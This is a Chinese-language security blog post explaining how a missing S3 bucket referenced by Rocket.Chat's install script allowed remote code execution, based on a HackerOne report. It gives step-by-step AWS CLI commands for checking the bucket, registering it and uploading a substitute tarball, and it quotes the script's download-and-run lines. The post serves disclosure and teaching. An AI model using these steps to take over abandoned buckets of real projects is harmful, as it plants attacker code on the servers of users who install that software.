通过劫持存储桶来实现RCE

通过劫持存储桶来实现RCE

原创 richardo1o1 迪哥讲事 2024-06-07 17:30

通过劫持存储桶来实现RCE

正文

过程简要

1.在官方安装脚本中发现文件是从Amazon S3存储桶(s3://rocketchatbuild)下载的

2.尝试访问指定的S3存储桶,但发现该存储桶不存在(错误信息为“NoSuchBucket”)。这意味着任何人都可以创建这个同名的存储桶,并上传任何内容。

3.攻击者可以创建这个存储桶,并上传一个自定义的rocket.chat-develop.tgz文件。由于安装脚本未对下载的文件来源进行验证,这使得攻击者可以通过脚本在任何使用该安装脚本的用户机器上执行任意代码。

整个流程

环节一:检测存储桶不存在

首先尝试访问install.sh脚本中引用的S3存储桶URL。这通常是通过AWS命令行界面(CLI)或编程方式来完成。

检测存储桶是否存在的AWS CLI命令:

aws s3 ls s3://rocketchatbuild #rocketchatbuild在原安装脚本中是存在的

这条命令会尝试列出存储桶中的内容。如果存储桶不存在,AWS CLI会返回一个错误,通常是“NoSuchBucket”。

当看到类似这样的错误时,攻击者可以确信这个存储桶名目前没有被任何AWS账户注册。

环节二:注册并控制存储桶

一旦确定存储桶不存在,攻击者可以通过自己的AWS账户去注册这个存储桶名。这一步骤通常在AWS管理控制台或使用AWS CLI完成。

创建存储桶的AWS CLI命令:

aws s3 mb s3://rocketchatbuild

这条命令会创建一个名为rocketchatbuild的新存储桶。创建成功后,攻击者就可以上传自己的文件到这个存储桶。

环节三:上传恶意文件

攻击者接下来会创建并上传一个恶意的压缩文件(如rocket.chat-develop.tgz),替代原本应该由官方发布的文件。

上传文件的AWS CLI命令:

aws s3 cp localpath/rocket.chat-develop.tgz s3://rocketchatbuild/rocket.chat-develop.tgz

在这里,localpath/rocket.chat-develop.tgz指向攻击者本地准备的压缩文件,该文件可能包含恶意代码。

环节四:脚本下载并执行恶意文件

当任何用户的install.sh脚本执行并下载rocket.chat-develop.tgz时,它实际上是从攻击者控制的存储桶下载。一旦下载并执行,恶意代码就会在用户的服务器上运行。

脚本中的下载和执行命令:

curl -fSL "https://s3.amazonaws.com/rocketchatbuild/rocket.chat-develop.tgz" -o rocket.chat.tgz  #下载文件

tar zxf rocket.chat.tgz && rm rocket.chat.tgz  #解压缩并删除压缩文件
cd $ROOTPATH/bundle/programs/server #改变当前工作目录
npm install #安装npm依赖
pm2 startOrRestart $ROOTPATH/current/$PM2FILE  #使用PM2启动或重启应用

在这个环节中,恶意代码的具体行为取决于攻击者的意图,可以是安装后门、盗取数据、破坏系统或其他恶意活动。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

参考

https://hackerone.com/reports/399166